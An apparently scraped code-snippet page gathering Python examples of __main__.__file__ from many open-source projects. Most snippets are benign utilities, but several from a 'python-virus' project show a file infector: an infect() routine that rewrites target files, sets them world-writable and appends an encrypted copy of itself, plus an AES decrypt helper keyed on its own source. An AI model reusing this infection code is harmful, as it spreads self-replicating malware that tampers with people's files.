python类__file__()的实例源码

tunes.py 文件源码 项目:csss-minion 作者: henrymzhao 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def setup(bot):
    bot.add_cog(Tunes(bot))
    if __main__.__file__ == "bot.py": # use test channels
        print("set to test channels")
        bot.testing = True
        bot.request_channel = "304837708650643459"
        bot.music_channel = "312693106736889867"
    else: # use production channels
        bot.testing = False
        print("set to production channels")
        bot.request_channel = "354084037465473025"
        bot.music_channel = "228761314644852737"
    bot.music_priorityqueue = False
    bot.music_authoritarian = False
    bot.admins_dict = {"173702138122338305":"henry",
     "173177975045488640":"nos"
    }
util.py 文件源码 项目:splunk_ta_ps4_f1_2016 作者: jonathanvarley 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def get_base_app_name():
    """
    Base App name, which this script belongs to.
    """
    import __main__
    main_name = __main__.__file__
    absolute_path = os.path.normpath(main_name)
    parts = absolute_path.split(os.path.sep)
    parts.reverse()
    for key in ("apps", "slave-apps", "master-apps"):
        try:
            idx = parts.index(key)
            if parts[idx + 1] == "etc":
                return parts[idx - 1]
        except (ValueError, IndexError):
            pass
    raise RestError(
        status=500,
        message='Cannot get app name from file: %s' % main_name
    )
util.py 文件源码 项目:TA-SyncKVStore 作者: georgestarcher 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def get_base_app_name():
    """
    Base App name, which this script belongs to.
    """
    import __main__
    main_name = __main__.__file__
    absolute_path = os.path.normpath(main_name)
    parts = absolute_path.split(os.path.sep)
    parts.reverse()
    for key in ("apps", "slave-apps", "master-apps"):
        try:
            idx = parts.index(key)
            if parts[idx + 1] == "etc":
                return parts[idx - 1]
        except (ValueError, IndexError):
            pass
    raise RestError(
        status=500,
        message='Cannot get app name from file: %s' % main_name
    )
util.py 文件源码 项目:cb-defense-splunk-app 作者: carbonblack 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def get_base_app_name():
    """
    Base App name, which this script belongs to.
    """
    import __main__
    main_name = __main__.__file__
    absolute_path = os.path.normpath(main_name)
    parts = absolute_path.split(os.path.sep)
    parts.reverse()
    for key in ("apps", "slave-apps", "master-apps"):
        try:
            idx = parts.index(key)
            if parts[idx + 1] == "etc":
                return parts[idx - 1]
        except (ValueError, IndexError):
            pass
    raise RestError(
        status=500,
        message='Cannot get app name from file: %s' % main_name
    )
common.py 文件源码 项目:pytorch 作者: ezyang 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def download_file(url, binary=True):
    if sys.version_info < (3,):
        from urlparse import urlsplit
        import urllib2
        request = urllib2
        error = urllib2
    else:
        from urllib.parse import urlsplit
        from urllib import request, error

    filename = os.path.basename(urlsplit(url)[2])
    data_dir = os.path.join(os.path.dirname(__file__), 'data')
    path = os.path.join(data_dir, filename)

    if os.path.exists(path):
        return path
    try:
        data = request.urlopen(url, timeout=15).read()
        with open(path, 'wb' if binary else 'w') as f:
            f.write(data)
        return path
    except error.URLError:
        msg = "could not download test file '{}'".format(url)
        warnings.warn(msg, RuntimeWarning)
        raise unittest.SkipTest(msg)
utils.py 文件源码 项目:jinjabread 作者: Inveracity 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def is_proxy():
    '''
    Return True if this minion is a proxy minion.
    Leverages the fact that is_linux() and is_windows
    both return False for proxies.
    TODO: Need to extend this for proxies that might run on
    other Unices
    '''
    import __main__ as main
    # This is a hack.  If a proxy minion is started by other
    # means, e.g. a custom script that creates the minion objects
    # then this will fail.
    is_proxy = False
    try:
        if 'salt-proxy' in main.__file__:
            is_proxy = True
    except AttributeError:
        pass
    return is_proxy
common.py 文件源码 项目:pytorch 作者: pytorch 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def download_file(url, binary=True):
    if sys.version_info < (3,):
        from urlparse import urlsplit
        import urllib2
        request = urllib2
        error = urllib2
    else:
        from urllib.parse import urlsplit
        from urllib import request, error

    filename = os.path.basename(urlsplit(url)[2])
    data_dir = os.path.join(os.path.dirname(__file__), 'data')
    path = os.path.join(data_dir, filename)

    if os.path.exists(path):
        return path
    try:
        data = request.urlopen(url, timeout=15).read()
        with open(path, 'wb' if binary else 'w') as f:
            f.write(data)
        return path
    except error.URLError:
        msg = "could not download test file '{}'".format(url)
        warnings.warn(msg, RuntimeWarning)
        raise unittest.SkipTest(msg)
appjar.py 文件源码 项目:SceneDensity 作者: ImOmid 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def __loadTkdnd(self):
        global TkDND
        if TkDND is None:
            try:
                tkdndlib = os.path.join(os.path.dirname(os.path.abspath(__file__)), "lib", "tkdnd2.8")
                os.environ['TKDND_LIBRARY'] = tkdndlib
                from appJar.lib.TkDND_wrapper import TkDND
                self.dnd = TkDND(self.topLevel)
            except:
                TkDND = False

    # function to receive DnD events
dictionary.py 文件源码 项目:PYKE 作者: muddyfish 项目源码 文件源码 阅读 43 收藏 0 点赞 0 评论 0
def init_words(dict_file):
    with open(os.path.join(os.path.split(__main__.__file__)[0], dict_file)) as words_f:
        return json.load(words_f)
logutil.py 文件源码 项目:pykit 作者: baishancloud 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def get_root_log_fn():

    if hasattr(__main__, '__file__'):
        name = __main__.__file__
        name = os.path.basename(name)
        if name == '<stdin>':
            name = '__stdin__'
        return name.rsplit('.', 1)[0] + '.' + log_suffix
    else:
        return '__instant_command__.' + log_suffix
cat.py 文件源码 项目:pykit 作者: baishancloud 项目源码 文件源码 阅读 32 收藏 0 点赞 0 评论 0
def __init__(self, fn,
                 handler=None,
                 file_end_handler=None,
                 exclusive=True,
                 id=None,
                 strip=False):

        self.fn = fn
        self.handler = handler
        self.file_end_handler = file_end_handler
        self.exclusive = exclusive

        if id is None:

            if hasattr(__main__, '__file__'):
                id = __main__.__file__
                id = os.path.basename(id)
                if id == '<stdin>':
                    id = '__stdin__'
            else:
                id = '__instant_command__'

        self.id = id

        self.strip = strip
        self.running = None

        if (self.handler is not None
                and callable(self.handler)):

            self.handler = [self.handler]
daemonize.py 文件源码 项目:pykit 作者: baishancloud 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def _default_pid_file():

    if hasattr(__main__, '__file__'):
        name = __main__.__file__
        name = os.path.basename(name)
        if name == '<stdin>':
            name = '__stdin__'
        return '/var/run/' + name.rsplit('.', 1)[0]
    else:
        return '/var/run/pykit.daemonize'
appjar.py 文件源码 项目:Cryptokey_Generator 作者: 8BitCookie 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def __loadTkdnd(self):
        global TkDND
        if TkDND is None:
            try:
                tkdndlib = os.path.join(os.path.dirname(os.path.abspath(__file__)), "lib", "tkdnd2.8")
                os.environ['TKDND_LIBRARY'] = tkdndlib
                from appJar.lib.TkDND_wrapper import TkDND
                self.dnd = TkDND(self.topLevel)
            except:
                TkDND = False

    # function to receive DnD events
__init__.py 文件源码 项目:lgsm-python 作者: jaredballou 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def parse_arguments(self):
        """parse_arguments(self)

        Parses the arguments passed to the script and calls appropriate functions
        """

        #self.parser.add_argument("--%s" % var, action='store', type=str, default=self.interpolate(key=var), help=help)
        self.parser.add_argument("--config", action='store', type=str, metavar="path/to/config.yaml", default=self.config_file, help='Config file to load for LGSM script')
        self.parser.add_argument("--game", action='store', type=str, default="insserver", help='Game to use')
        self.parser.add_argument("--root_dir", action='store', type=str, metavar=".", default=self.interpolate(key="root_dir"), help='Root directory for LGSM')
        self.parser.add_argument("--platform", action='store', type=str, default="steam", help='Platform to use for deploying game')
        self.parser.add_argument("--game_instance", action='store', type=str, default=self.interpolate(key="game_instance"), help='Instance name')
        self.parser.add_argument("--lgsm_dir", action='store', type=str, metavar="~/.lgsm", default="%(root_dir)s/lgsm", help='Directory where all LGSM files will be placed')

        self.parser.add_argument("-v", "--verbose", help="Debugging Mode", action='store_true')
        self.parser.add_argument("-d", "--debug", help="Debugging Mode", action='store_true')
        self.parser.add_argument("-i", "--interactive", help="Interactive Mode", action='store_true')

        self.parser.add_argument("--gamedata_dir", action='store', type=str, metavar="./lgsm/gamedata", default="%(lgsm_dir)s/gamedata", help='Path to install game data files')

        """self.parser.add_argument("--gamedata_repo", action='store', type=str, default="lgsm-gamedata", help='GitHub repo for game data')
        self.parser.add_argument("--gamedata_user", action='store', type=str, default="%(github_user)s", help='GitHub user for game data')
        self.parser.add_argument("--gamedata_branch", action='store', type=str, default="%(github_branch)s", help='GitHub branch for game data')

        self.parser.add_argument("--github_update", action='store_true', default=True, help='Update gamedata and modules from GitHub')
        self.parser.add_argument("--github_user", action='store', type=str, default="jaredballou", help='Default GitHub user')
        self.parser.add_argument("--github_branch", action='store', type=str, default="master", help='Default GitHub branch')
        self.parser.add_argument("--lgsm_branch", action='store', type=str, default="%(github_branch)s", help='GitHub LGSM branch')
        self.parser.add_argument("--lgsm_repo", action='store', type=str, default="lgsm-python", help='GitHub LGSM repo')
        self.parser.add_argument("--lgsm_user", action='store', type=str, default="%(github_user)s", help='GitHub LGSM user')
        self.parser.add_argument("--game_script_name", action='store', type=str, default=os.path.basename(os.path.realpath(main.__file__)), help='Game script name')
        self.parser.add_argument("--game_script_cfg_dir", action='store', type=str, default="%(lgsm_dir)s/config/%(game_script_name)s", help='LGSM config path for this game')
        """

        # required=True,
        #choices=['1', '2', '3', '4', '5', '6', '7', '8', '9'],
        #action='store_true',
        self.args = self.parser.parse_args()
        #pprint(self.args)

#       print args.accumulate(args.integers)
TestSuite.py 文件源码 项目:devsecops-example-helloworld 作者: boozallen 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def _findDirectories(self, top = None, prefix = None):
        #self._log("Running - {0} -".format(main.__file__))
        top = top if top else os.path.dirname(main.__file__)
        self._log("Checking {0} for directories".format(top if prefix is None else prefix))
        prefix = "" if prefix is None else prefix
        directories = [top]
        entries = os.listdir(top)
        for entry in entries:
            if os.path.isdir(top + "/" + entry):
                entryDir = "/" + entry
                self._log("Adding directory {0} ".format(prefix + entryDir ))
                directories += self._findDirectories(top + entryDir , prefix = entryDir )
        return directories
to_infect2.py 文件源码 项目:python-virus 作者: VincenzoArceri 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def decrypt(data):
   this = open(__main__.__file__, 'r')
   data = base64.b64decode(data);

   iv = Random.new().read(AES.block_size)
   cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)

   this.close()
   return cipher.decrypt(data)[16:]

# Gets the virus file
to_infect5.py 文件源码 项目:python-virus 作者: VincenzoArceri 项目源码 文件源码 阅读 30 收藏 0 点赞 0 评论 0
def decrypt(data):
   this = open(__main__.__file__, 'r')
   data = base64.b64decode(data);

   iv = Random.new().read(AES.block_size)
   cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)

   this.close()
   return cipher.decrypt(data)[16:]

# Gets the virus file
virus.py 文件源码 项目:python-virus 作者: VincenzoArceri 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def decrypt(data):
   this = open(__main__.__file__, 'r')
   data = base64.b64decode(data);

   iv = Random.new().read(AES.block_size)
   cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)

   this.close()
   return cipher.decrypt(data)[16:]

# Gets the virus file
to_infect4.py 文件源码 项目:python-virus 作者: VincenzoArceri 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def decrypt(data):
   this = open(__main__.__file__, 'r')
   data = base64.b64decode(data);

   iv = Random.new().read(AES.block_size)
   cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)

   this.close()
   return cipher.decrypt(data)[16:]

# Gets the virus file
encrypted.py 文件源码 项目:python-virus 作者: VincenzoArceri 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def infect(filename):
   os.rename(filename, filename + '-copy')

   destination = open(filename, 'w')
   os.chmod(filename, 0777)
   source = open(filename + '-copy', 'r')
   this = open(__main__.__file__, 'r')

   # Append the original file
   for line in source:
      destination.write(line)

   destination.write("\n######################################################## First script python\n")
   destination.write("# coding=utf-8\n")
   destination.write("# Start Unencrypted\n")

   copy = False
   result = ''
   for line in this:
      if line.strip() == '# Start Unencrypted':
         copy = True
      elif line.strip() == '# End Unencrypted':
         destination.write('# End Unencrypted')
         copy = False
      elif copy:
         destination.write(line);

   destination.write("\n# Start payload\n")
   destination.write("#")
   destination.write(str(encrypt(e, filename)))
   destination.write("\n# End payload")

   os.remove(filename + '-copy')
   source.close()
   destination.close()
   this.close()
to_infect3.py 文件源码 项目:python-virus 作者: VincenzoArceri 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def decrypt(data):
   this = open(__main__.__file__, 'r')
   data = base64.b64decode(data);

   iv = Random.new().read(AES.block_size)
   cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)

   this.close()
   return cipher.decrypt(data)[16:]

# Gets the virus file
to_infect1.py 文件源码 项目:python-virus 作者: VincenzoArceri 项目源码 文件源码 阅读 60 收藏 0 点赞 0 评论 0
def decrypt(data):
   this = open(__main__.__file__, 'r')
   data = base64.b64decode(data);

   iv = Random.new().read(AES.block_size)
   cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)

   this.close()
   return cipher.decrypt(data)[16:]

# Gets the virus file
module_finder_test.py 文件源码 项目:mitogen 作者: dw 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def test_main(self):
        import __main__
        path, src, is_pkg = self.call('__main__')
        self.assertEquals(path, __main__.__file__)
        self.assertEquals(src, open(path).read())
        self.assertFalse(is_pkg)
toolbox.py 文件源码 项目:goreviewpartner 作者: pnprog 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def module_path():
    """ This will get us the program's directory,
    even if we are frozen using py2exe"""

    if we_are_frozen():
        print "Apparently running from the executable."
        return os.path.dirname(unicode(sys.executable, sys.getfilesystemencoding( )))

    return os.path.dirname(unicode(__file__, sys.getfilesystemencoding( )))
Conf.py 文件源码 项目:HelloShell 作者: wl879 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def read(file = None, create = False):
        import __main__
        if file == None or file == __main__.__file__:
            file = OS.filename(OS.realpath(__main__.__file__)) + ".ini"
        else:
            file = OS.realpath(file)
        if create == False:
            if not OS.isfile(file):
                return None
        return Conf(file)
config.py 文件源码 项目:donkey 作者: wroscoe 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def from_pyfile(self, filename, silent=False):
        #filename = os.path.join(self.root_path, filename)
        d = types.ModuleType('config')
        d.__file__ = filename
        try:
            with open(filename, mode='rb') as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True
config.py 文件源码 项目:donkey 作者: wroscoe 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def load_config(config_path=None):

    if config_path is None:
        import __main__ as main
        main_path = os.path.dirname(os.path.realpath(main.__file__))
        config_path = os.path.join(main_path, 'config.py')

    print('loading config file: {}'.format(config_path))
    cfg = Config()
    cfg.from_pyfile(config_path)
    print('config loaded')
    return cfg
remindme.py 文件源码 项目:csss-minion 作者: henrymzhao 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def __init__(self, bot):
        self.bot = bot
        self.remindmelist = list()
        self.remindmedb = sqlite3.connect("remindmedb")
        c = self.remindmedb.cursor()
        c.execute("CREATE TABLE IF NOT EXISTS remindme (user_id bigint, msg varchar(2000), datetime datetime, channel_id varchar(20))")
        self.remindmedb.commit()
        c.close()
        self.mass_populate()
        main_loop = asyncio.get_event_loop()
        main_loop.create_task(self.loop_remindme())
        if __main__.__file__ == "bot.py":
            self.remindmechannel = "304837708650643459" #testing channel
        else:
            self.remindmechannel = "228761314644852736"  #production channel
ca_certs_locater.py 文件源码 项目:splunk_ta_ps4_f1_2016 作者: jonathanvarley 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def _read_httplib2_default_certs():
    import httplib2  # import error should not happen here, and will be well handled by outer called
    httplib_dir = os.path.dirname(os.path.abspath(httplib2.__file__))
    ca_certs_path = os.path.join(httplib_dir, HTTPLIB2_CA_CERT_FILE_NAME)
    return _read_pem_file(ca_certs_path)
ca_certs_locater.py 文件源码 项目:splunk_ta_ps4_f1_2016 作者: jonathanvarley 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def _get_temp_cert_file_dir():
    import __main__
    app_root = op.dirname(op.dirname(op.abspath(__main__.__file__)))

    temp_dir = op.join(app_root, 'temp_certs')
    if not op.isdir(temp_dir):
        try:
            os.mkdir(temp_dir)
        except:
            pass
    for candidate in ['temp_certs', 'local', 'default']:
        dir_path = op.join(app_root, candidate)
        if op.isdir(dir_path):
            return dir_path
    return app_root


问题


面经


文章

微信
公众号

扫码关注公众号